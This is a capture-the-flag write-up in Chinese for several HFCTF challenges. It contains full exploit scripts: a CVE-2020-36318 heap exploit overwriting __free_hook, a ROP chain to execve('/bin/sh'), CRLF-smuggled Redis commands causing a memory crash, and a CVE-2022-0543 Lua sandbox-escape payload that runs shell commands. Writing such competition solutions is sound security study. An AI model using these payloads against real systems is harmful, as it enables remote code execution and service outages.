PKUCC HFCTF Writeup
[PWN] vdq
维护了一个VecDeque<Note>,其中struct Node { Option<usize> idx; Vec<u8> data; },支持Add(添加一个Note到最后,任意填充data)、Remove(删除开头的Note)、View(查看所有Note)、Append(在开头的Note里追加数据到data)、Archive(略,没有用到)。
还好代码没有strip,所以能在可接受的时间内看一遍反编译出的代码,没有意识到有任何高危(unsafe)的操作,似乎陷入了死局。
发现代码是用rustc 1.48编译的,查了一下正好有一个VecDeque的高危漏洞CVE-2020-36318,一个半官方的PoC能完美嵌入到下发的程序中(https://github.com/rust-lang/rust/issues/79808#issuecomment-740188680 )。
利用Append操作进行漏洞利用,触发上述漏洞后,可以操作已经被释放的Note,控制输入数据的大小正好让该Note作为要被追加的数据(Vec<u8>)释放出来,这样可以任意填充该待被操作的Note。特别地,因为之前用View操作可以泄漏libc中的地址,直接填充Note中的data使其指向__free_hook,然后追加数据时就可以把__free_hook覆盖成__libc_system,再随便操作一番释放一块含有cat flag的内存即可。
import sys
print('["Add", "Add", "Remove", "Remove", "Add", "Add", "Add", "View", "Remove", "Remove", "Remove", "View", "Append",')
print(' "Append", "Append"]')
print('$')
print('') # Add
print('') # Add
# Remove x 2
print('a' * 16) # Add
print('') # Add
print('b' * (1024 * 4 + 1)) # Add
sys.stdout.flush()
# View
# Remove x 3
leak = input() # View
leak = leak[0:16]
ptr = ''
for i in reversed(range(8)):
ptr += leak[i * 2:i * 2 + 2]
ptr = int(ptr, 16)
sys.stderr.write(hex(ptr))
free_hook = ptr + 0x1c48 # __free_hook
libc_system = ptr - 0x39c880 # __libc_system
sys.stdout.buffer.write(
(libc_system.to_bytes(16, 'little') + # Option<usize> idx
(free_hook - 0x1001).to_bytes(8, 'little') + # ptr
b'\x7f' * 7 + # size
b'\n'
)) # Append
sys.stdout.flush()
print("ls") # Append
sys.stdout.flush()
print("cat flag") # Append
sys.stdout.flush()
[PWN] gogogo
代码strip过,不过可以使用脚本恢复(https://github.com/getCUJO/ThreatIntel/blob/master/Scripts/Ghidra/go_func.py )。
这题目真的迷之坑点,首先看了main.main函数发现该函数非常简单,没有任何高危操作,完全不可能出现问题,研究了半个下午+一个晚上也没搞出所以然来。
第二天才发现原来还有个函数叫做math.init,这函数一眼看上去是个标准库函数(也可能是我对go不太熟),所以最开始怎么也没意识到真正的代码居然不在main.xxxx中。
找到真正的函数就好办了,首先玩一个简单的猜数游戏,会反馈猜对的个数和猜错位的个数,直接暴力做就可以。通关后可以启动另一个游戏,这个代码也看了有一会不过发现一点用都没有,直接退出这个游戏就能在函数结尾触发一个栈缓冲区溢出,而下发文件没有任何ASLR,也没开启stack canary检查,Go Runtime的gadget这么丰富,那么直接ROP到execve("/bin/sh", ...)就结束了。
import random
import time
infp = open('in.fifo', 'w')
outfp = open('out.fifo', 'r')
outfp.readline()
outfp.readline()
infp.write('1416925456\n')
infp.flush()
outfp.readline()
outfp.readline()
possible_cases = list()
for i in range(10):
for j in range(10):
for k in range(10):
for l in range(10):
s = set([i, j, k, l])
if len(s) != 4:
continue
possible_cases.append((i, j, k, l))
def format_case(case):
i, j, k, l = case
return f'{i} {j} {k} {l}\n'
def compare_case(one, another):
i, j, k, l = one
p, q, m, n = another
exact = (i == p) + (j == q) + (k == m) + (l == n)
around = (i in [q, m, n]) + (j in [p, m, n]) + (k in [p, q, n]) + (l in [p, q, m])
return f'{exact}A{around}B\n'
while True:
case = random.choice(possible_cases)
infp.write(format_case(case))
infp.flush()
result = outfp.readline()
if result == 'YOU WIN\n':
break
possible_cases = list(filter(lambda c: compare_case(case, c) == result, possible_cases))
assert len(possible_cases) != 0
outfp.readline()
infp.write('E\n')
infp.flush()
for _ in range(7):
outfp.readline()
infp.write('4\n')
infp.flush()
"""
437d38: 48 8b 7c 24 38 mov 0x38(%rsp),%rdi
437d3d: 0f b6 74 24 1f movzbl 0x1f(%rsp),%esi
437d42: 48 8b 6c 24 70 mov 0x70(%rsp),%rbp
437d47: 48 83 c4 78 add $0x78,%rsp
437d4b: c3 ret
"""
"""
489457: 48 8b 54 24 40 mov 0x40(%rsp),%rdx
48945c: 0f b6 42 20 movzbl 0x20(%rdx),%eax
489460: 48 8b 6c 24 30 mov 0x30(%rsp),%rbp
489465: 48 83 c4 38 add $0x38,%rsp
489469: c3 ret
"""
"""
45c849: 0f 05 syscall
45c84b: c3 ret
"""
OFF = 0xa4000
outfp.readline()
infp.buffer.write(
b'/bin/sh' + # filename
b'\x00' * (0x460 - 7 - 8) + # padding
(59).to_bytes(8, 'little') + # %rax = SYS_execve
(0x437d38).to_bytes(8, 'little') + # ret
b'\x00' * 0x38 + # padding (%rsi = 0)
(0xc000076b18 + OFF).to_bytes(8, 'little') + # %rdi = "/bin/sh"
b'\x00' * 0x38 + # padding
(0x489457).to_bytes(8, 'little') + # ret
b'\x00' * 0x38 + # padding
(0x45c849).to_bytes(8, 'little') + # ret
(0xc000076f50 + OFF).to_bytes(8, 'little') + # %rdx = &{ NULL }
b'\n'
)
infp.flush()
outfp.readline()
# infp.write('ls -al\n')
infp.write('cat flag\n')
infp.flush()
infp.close()
[Misc] Quest-Crash
首先提供的API里面用换行分隔就能执行多条命令,而且只有第一条会检查是否是允许的命令,因此可以执行任意Redis命令,包括EVAL,而EVAL可以运行任意Lua代码。在Lua代码里面构造一个非常大的字符串就能让Redis因为内存不足崩溃:
{"query":"SET x\r\nEVAL \"return string.rep('test',200000000)\" 0"}
[Misc] Quest-RCE
这个Lua环境里面没有os库,但是因为CVE-2022-0543还是能实现RCE:
{"query":"SET x\r\neval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"<command>\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0"}
flag的文件名是随机的,所以需要先ls -l /把flag的文件名找到再用cat读flag。
[Re] fpbe
程序本身是一段解sha256哈希,是做不了的。但是在执行验证函数之前加载了一个bpf程序,通过找这个程序的地址可以发现就在题目的文件里嵌了一个ELF文件。把它提取出来,里面的bpf程序可以发现就是将我们输进去的flag做一个线性组合然后比较,联立这些线性方程组就可以解出flag。